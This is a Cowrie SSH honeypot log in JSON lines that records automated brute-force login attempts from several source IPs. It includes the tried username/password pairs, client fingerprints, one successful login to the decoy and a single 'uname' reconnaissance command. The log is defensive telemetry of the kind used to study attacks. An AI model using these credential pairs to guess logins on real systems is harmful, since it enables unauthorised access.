{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:20.451836Z","src_ip":"103.176.20.57","session":"2b776bfadb36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:20.886873Z","src_ip":"45.156.87.253","session":"a3d20aef8cec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":57998,"dst_ip":"159.203.135.109","dst_port":22,"session":"febb947c59c7","protocol":"ssh","message":"New connection: 103.153.68.219:57998 (159.203.135.109:22) [session: febb947c59c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:21.301835Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:21.306260Z","src_ip":"103.153.68.219","session":"febb947c59c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2434634","message":"login attempt [root/2434634] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:21.430271Z","src_ip":"103.176.20.57","session":"2b776bfadb36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.39.166","src_port":50122,"dst_ip":"159.203.135.109","dst_port":22,"session":"df2f69225c41","protocol":"ssh","message":"New connection: 178.128.39.166:50122 (159.203.135.109:22) [session: df2f69225c41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:21.484208Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:21.548363Z","src_ip":"103.153.68.219","session":"febb947c59c7","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:21.559817Z","src_ip":"178.128.39.166","session":"df2f69225c41","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:21.690724Z","src_ip":"178.128.39.166","session":"df2f69225c41","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:22.276246Z","src_ip":"103.153.68.219","session":"febb947c59c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dragon","message":"login attempt [root/dragon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:22.367240Z","src_ip":"178.128.39.166","session":"df2f69225c41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:22.676370Z","src_ip":"103.176.20.57","session":"2b776bfadb36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":39836,"dst_ip":"10.17.0.5","dst_port":22,"session":"c0314106e966","protocol":"ssh","message":"New connection: 45.156.87.253:39836 (10.17.0.5:22) [session: c0314106e966]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:22.786623Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:22.790832Z","src_ip":"45.156.87.253","session":"c0314106e966","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:22.871035Z","src_ip":"45.156.87.253","session":"c0314106e966","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts","password":"ts","message":"login attempt [ts/ts] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:23.113075Z","src_ip":"45.156.87.253","session":"c0314106e966","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:23.520007Z","src_ip":"103.153.68.219","session":"febb947c59c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:23.548376Z","src_ip":"178.128.39.166","session":"df2f69225c41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:24.194890Z","src_ip":"45.156.87.253","session":"c0314106e966","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":39852,"dst_ip":"10.17.0.5","dst_port":22,"session":"f6b5f627f68b","protocol":"ssh","message":"New connection: 45.156.87.253:39852 (10.17.0.5:22) [session: f6b5f627f68b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:26.350336Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:26.354683Z","src_ip":"45.156.87.253","session":"f6b5f627f68b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:26.434597Z","src_ip":"45.156.87.253","session":"f6b5f627f68b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"root","message":"login attempt [app/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:26.676101Z","src_ip":"45.156.87.253","session":"f6b5f627f68b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:27.758789Z","src_ip":"45.156.87.253","session":"f6b5f627f68b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":47234,"dst_ip":"10.17.0.5","dst_port":22,"session":"e1154d7b2f99","protocol":"ssh","message":"New connection: 45.156.87.253:47234 (10.17.0.5:22) [session: e1154d7b2f99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:29.666011Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:29.672612Z","src_ip":"45.156.87.253","session":"e1154d7b2f99","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:29.752908Z","src_ip":"45.156.87.253","session":"e1154d7b2f99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"toto","password":"toto","message":"login attempt [toto/toto] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:29.994213Z","src_ip":"45.156.87.253","session":"e1154d7b2f99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:31.078272Z","src_ip":"45.156.87.253","session":"e1154d7b2f99","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":47246,"dst_ip":"10.17.0.5","dst_port":22,"session":"7e81e41fac47","protocol":"ssh","message":"New connection: 45.156.87.253:47246 (10.17.0.5:22) [session: 7e81e41fac47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:33.014019Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:33.017601Z","src_ip":"45.156.87.253","session":"7e81e41fac47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:33.121308Z","src_ip":"45.156.87.253","session":"7e81e41fac47","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"123","message":"login attempt [steam/123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:33.500510Z","src_ip":"45.156.87.253","session":"7e81e41fac47","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:33.705853Z","src_ip":"45.156.87.253","session":"7e81e41fac47","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:33.708243Z","src_ip":"45.156.87.253","session":"7e81e41fac47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.214.22.174","src_port":60346,"dst_ip":"159.203.135.109","dst_port":22,"session":"96b62f00b5e7","protocol":"ssh","message":"New connection: 162.214.22.174:60346 (159.203.135.109:22) [session: 96b62f00b5e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:33.750047Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:33.753117Z","src_ip":"162.214.22.174","session":"96b62f00b5e7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:33.793562Z","src_ip":"45.156.87.253","session":"7e81e41fac47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:33.798191Z","src_ip":"45.156.87.253","session":"7e81e41fac47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:33.834518Z","src_ip":"162.214.22.174","session":"96b62f00b5e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bitcoin2024","message":"login attempt [root/bitcoin2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:34.081749Z","src_ip":"162.214.22.174","session":"96b62f00b5e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:35.165718Z","src_ip":"162.214.22.174","session":"96b62f00b5e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":47256,"dst_ip":"10.17.0.5","dst_port":22,"session":"7445fd2e5590","protocol":"ssh","message":"New connection: 45.156.87.253:47256 (10.17.0.5:22) [session: 7445fd2e5590]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:36.480474Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:36.486520Z","src_ip":"45.156.87.253","session":"7445fd2e5590","protocol":"ssh"}
